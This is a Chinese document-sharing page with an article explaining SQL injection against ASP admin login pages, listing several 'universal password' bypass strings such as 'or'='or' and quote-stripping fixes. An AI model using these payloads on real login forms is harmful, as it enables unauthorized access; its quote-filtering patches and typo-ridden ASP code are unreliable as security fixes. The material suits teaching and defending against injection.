为了正常的体验网站,请在浏览器设置里面开启Javascript功能!

常用的后台万能登陆密码

2017-09-23 4页 doc 16KB 142阅读

用户头像

is_105949

暂无简介

举报
常用的后台万能登陆密码常用的后台万能登陆密码 在登陆后台时,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后 再用 sql="select * from admin where username="&user&" and password="&pwd&"" 这句来对用户名和密码加以验证。 以常理来考虑的话,这是个很完整的程序了,而在实际的使用过程中,整套程序也的确可能 正常使用。但是如果Userid的值和password的值被赋于:safer’ or’1’=’1’ 这时, sql="select * f...
常用的后台万能登陆密码
常用的后台万能登陆密码 在登陆后台时,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后 再用 sql="select * from admin where username="&user&" and password="&pwd&"" 这句来对用户名和密码加以验证。 以常理来考虑的话,这是个很完整的程序了,而在实际的使用过程中,整套程序也的确可能 正常使用。但是如果Userid的值和password的值被赋于:safer’ or’1’=’1’ 这时, sql="select * from admin where username="&user&" and password="&pwd&"" 就成了: sql="select * from reg where user=safer’ or’1’=’1’ and pass=safer’ or’1’=’ 1’ 有这样的问,我们就来试着解决它。从上面的程序中各位也可以看出,只要对用户输入的 数据进行严格过滤就可以了。如下: Quote 〈% user=request.from("UserID") pass=request.from("password") for i=1 to len(UserID) cl=mid(UserID,i,1) if cl="" or us="%" or us="〈" or us="〉" then response.redirect "WL ..jiajia" response.end end if next %〉 同样是先取得用户输入数据,然后分析用户输入的每一个字符,如发现异常,则转到错误页 面。 if cl="" or us="%" or us="〈" or us="〉" then 这一句中可以加入任意的过滤字符,跟据具体情况而定。 修补: username=replace(trim(request("username")),"’","") password=replace(trim(Request("password")),"’","") 把“’”给过滤了 如果想用“’”当做密码就这样: 1、select * from user where user=’ " & User & "’ " 2、如果返回不为假,则取密码 pass=rs("passwd") 3、判断:if pass=password 4、得出结论。 例如:[/CODE]Quote sql="select * from ****_admin where admin_pass=’"&admin_pass&"’ and admin=’ "&admin&"’" rs.open sql,conn,1,3 if not(rs.bof and rs.eof) then if admin_pass=rs("admin_pass") then session("admin")=rs("admin")[/CODE] 当登陆提交用户登陆表单时,数据库会执行以下的代码 sql=``sele ct * from user s where username=`` and password = `` 一般用`or`=`or`提交进去后,这段代码就会执行这样的程序 。 sql=``sele ct * from user s where username=` `or`=`or` ` and password = ` `or`=`or` ` `or`的前面一个单引号,就会和数据执行中 username=` 中的这个单引号,形成一个双引号,是由于数据库中 单引号和双引号的区分不是很明确,所以 username=``or`=`or`` 中 的两个单引号就会误认为是合法的语法,执行的用户名就是 or`=`or 这样的话,数据库会 返回所有用户名,而uers数据库会认为登陆用户合法(密码同理),便而可以进入后台。 常用的后台万能登陆密码: 'or''=' "or=or" 'or''=''or''=' 'or'='or' 'or'='1' 'or' '1'='1' or 'a'='a' 修补: 在后台登录文件源代码中找到这些代码: <% pwd = request.form("pwd") name = request.form("name") Set rs = Server.CreateObject("ADODB.Connection") sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'" 由于接受变量pwd、name时没有做任何处理。才导致这个漏洞。我们要让它进行处理,过滤 掉“'”符号。只要把文件改成以下代码即可: <% pwd = replace(trim(request.form("pwd")),"'","") name = replace(trim(request.form("name")),"'","") Set rs = Server.CreateObject("ADODB.Connection") sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'"
/
本文档为【常用的后台万能登陆密码】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。 本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。 网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。

历史搜索

    清空历史搜索